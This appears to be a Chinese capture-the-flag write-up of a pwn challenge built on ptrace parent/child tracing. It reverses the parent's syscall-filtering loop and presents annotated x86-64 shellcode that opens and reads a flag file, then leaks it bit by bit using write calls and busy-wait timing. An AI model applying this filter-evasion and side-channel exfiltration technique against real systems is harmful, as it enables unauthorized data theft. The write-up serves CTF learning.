前言
被ptrace吓住了,看不明白,前几天仔细看了一下,了解了一下父子进程相关机制
赛题
看到最后会发现这是一道套了父子进程相关知识的shellcode编写题,挺有意思
什么是ptrace机制
这次的pwn题很多都使用了ptrace这个子进程跟踪的函数来做题目,具体机制请看https://www.cnblogs.com/heixiang/p/10988992.html
函数原型为 int ptrace(int request,int pid,int addr,int data);
简单来说,pid是子进程的pid,而request就是下面这些,后面两项看request具体的内容
题目里有PTRACE_SYSCALL的时候,在逆向工程中,系统调用号会表现为一个int数的形式,而这个系统调用号可以在https://syscalls.w3challs.com/?arch=x86_64查阅
其实都很好理解,但PTRACE_ATTACH和PTRACE_DETACH,所谓的跟踪,又是怎么回事呢?
实际上,Attach意味着被跟踪进程将成为当前进程的子进程,并进入中止状态,这就是gdb的attach的实现原理
而Detach是结束跟踪,结束跟踪后被跟踪进程将继续执行。
输入与ptrace相关代码
用户唯一的输入机会在第58行,我们要在一次输入以内,把同一目录下的./flag读出
父子进程会根据ptreads的不一样,步入不同的逻辑
子进程
细看汇编代码,不难看出,子进程会call输入点的shellcode,call跳转到指针所指地址处并执行代码
子进程可以执行shellcode,但问题就来了,我们拥有的是父进程的stdio,那子进程的输入输出怎么出来呢
父进程
继续往下看父进程会执行的代码,在此之前首先明确一个事情,stat_loc.__iptr的高位是0,根据stat字样可知是表示某种状态,实际上,HIDWORD(stat_loc.__iptr)代表是否执行syscall中
在父进程的执行路线上,可以发现有一个while(1)的循环,有如下监听错误的逻辑,子进程要是出现了段错误,则会退出整个父进程
稍后的部分后来对着源代码才看懂,原来是在检查寄存器状态,PTRACE_GETREGS就是取寄存器的值,而所谓的v22-v27只是v21指向的寄存器值数组里面的偏移罢了,rax,rdi,rsi,rdx,rcx,rip这样排列
问gpt才知道全地球都大概是这么写的,记住大概的模样,下次遇到可以代入一下
源代码和伪代码的对比如下
简单来说,就是把寄存器和程序执行状态统统检查了一遍,顺带一提,last(v10)是-1,
所以最后的时候其判断了v26(实际上对应rax)是否与in_syscall的与值为-1,借此可以判断是否在syscall状态
如果不在syscall状态,那就会执行下面的逻辑(没见过还真猜不出来,当时也没有调试什么的,直接放弃)
v13既然是rax,那么在后面被检查了很多次,根据其值跳转到不同的逻辑上(IDA上的可读性较差)
https://syscalls.w3challs.com/?arch=x86_64 可以查看对应的系统调用号
exiter长这样,所以命名为exiter
实际上一大堆判断系统调用多少号的都不用看,只看这里就会发现,只能<2和只能==1,所以说白了还是只能让系统调用号为1
然后rsi会被赋予乌萨奇的口头禅的随机一个(实际上这里如果写入flag的地址就会被打印出来)
这只兔子就是乌萨奇,喜欢说wula yaha pulu的兔子
到这里这道题的思路就很清晰了,可以看到答案是做了open并且read ./flag的系统调用,然后就是使用write系统调用从stdout输出flag
shellcode构造(分析官方writeup)
而这些操作面临的比较大的问题是,程序处于随机化保护当中,而我们的控制流操控机会并不多,一旦失败,段错误,整个父进程都会退出
幸好作者贴心地让输入区域必定是在0xdead000的,这段空间不仅可以布置shellcode,还可以在更高的地方存放泄露的flag内容
首段shellcode仅仅是获取了文件流,等效于shellcraft.open(“/flag”,0),从此我们获得一个文件描述符(linux的文件描述符就是”3″)
紧接着的shellcode就是读文件描述符内容,0x30字节,到刚刚说的[0xdead000,0xdead000+0x4000]这段空间里
到目前为止还算比较好理解,听说那些xor其实就是调用过程中为了避免直接硬编码操作地址导致地址被轻易泄露所用的(这样仅有一次泄露机会的攻击可能会由于不知道所异或的值而失效),这里shellcode生成出来也遵循这样的做法,没什么神秘的可以不管
接下来才是真正考验人shellcode书写能力的时候
标注了一下并且手工缩进了一下便于查看(实际上当然不能这样写),其实就是这样了
iLoop是外层循环,jLoop是内层循环
内层循环负责把每个字节的内容都逐位write出来
外层循环负责让内层循环针对0x30个字节都执行这样的操作
r13是正在读取的字节的偏移量,0到0x29
r15是正在读取的位的偏移量,0到0x7
r14是flag地址
/*
伪代码
stdout=1
for(int bytes=0;bytes<=0x30;bytes++){
for(int bits=0;bits<=0x7;bits++){
write(stdout,0xdead200+bits+bytes*8,0x1);
}
}
*/
mov r13,0 // r13表示偏移量,初始化为0
mov r14,0xdead200 // 设置 r14 为 0xdead200,存放待泄露数据的基地址
iLoop: // 外层循环,遍历每个字节
mov r15,0 // 初始化 r15 为 0,表示当前字节内的位位置
jLoop: // 内层循环,逐位检查当前字节
lea rax,[r13+r14] // 当前rax = 0xdead200+偏移量
mov ax,[rax] // ax读rax指向的内容
mov rcx,r15 // rcx=当前位
shr ax,cl // 将当前字节右移 r15 位,这样最低位就成了需要读的位
and ax,1 // 使用与0x00000001的方式,提取最低一位的值
test ax,ax // 检查当前位是 0 还是 1
jz zero // 如果当前位为 0,跳转到 zero 标签
/*延时逻辑:延时0x20000000次cpu执行时间,是否可以减小呢*/
one:
mov r8,0x20000000
sleep:
sub r8,1
jnz sleep // 如果计数器未归零,继续延时
/*正常会执行write(1,0xdead200+[r13],1)*/
zero: // 当前位为 0 时执行,调用 write 系统调用
push 1 // 将文件描述符 1 压入栈(表示标准输出stdout)
pop rdi // 弹出栈顶的文件描述符并存入 rdi
push 0x1 // 将要写入的数据大小(1字节)压入栈
pop rdx
mov esi, 0x1010101
xor esi, 0xcebd301 // 通过异或计算出实际地址 0xdead200
add rsi,r13 // 加上偏移量 r13,指向当前字节
push SYS_write /* 1 */ // 将系统调用号 1 (SYS_write) 压入栈
pop rax
syscall // 执行系统调用,写入 1 字节到标准输出
/*检查是否读完一个字节8个位*/
jLoopEnd: // 内层循环结束
add r15,1
cmp r15,7 // 检查是否已处理完当前字节的所有位,一个字节有8位
jbe jLoop // r15 <= 7,继续检查当前字节的下一个位
/*检查是否读完0x30个字节*/
iLoopEnd: // 外层循环结束
add r13,1 // 增加 r13,移动到下一个字节
cmp r13,0x30 // 检查是否已处理完所有字节
jbe iLoop
综上,通过子进程的shellcode执行机会,
让子进程执行open flag读flag文件流到文件描述符3、
read flag操作读flag内容到0xdead200,
并且利用反复的write把0xdead200处内容读出到stdout上
完成对flag的读出到stdout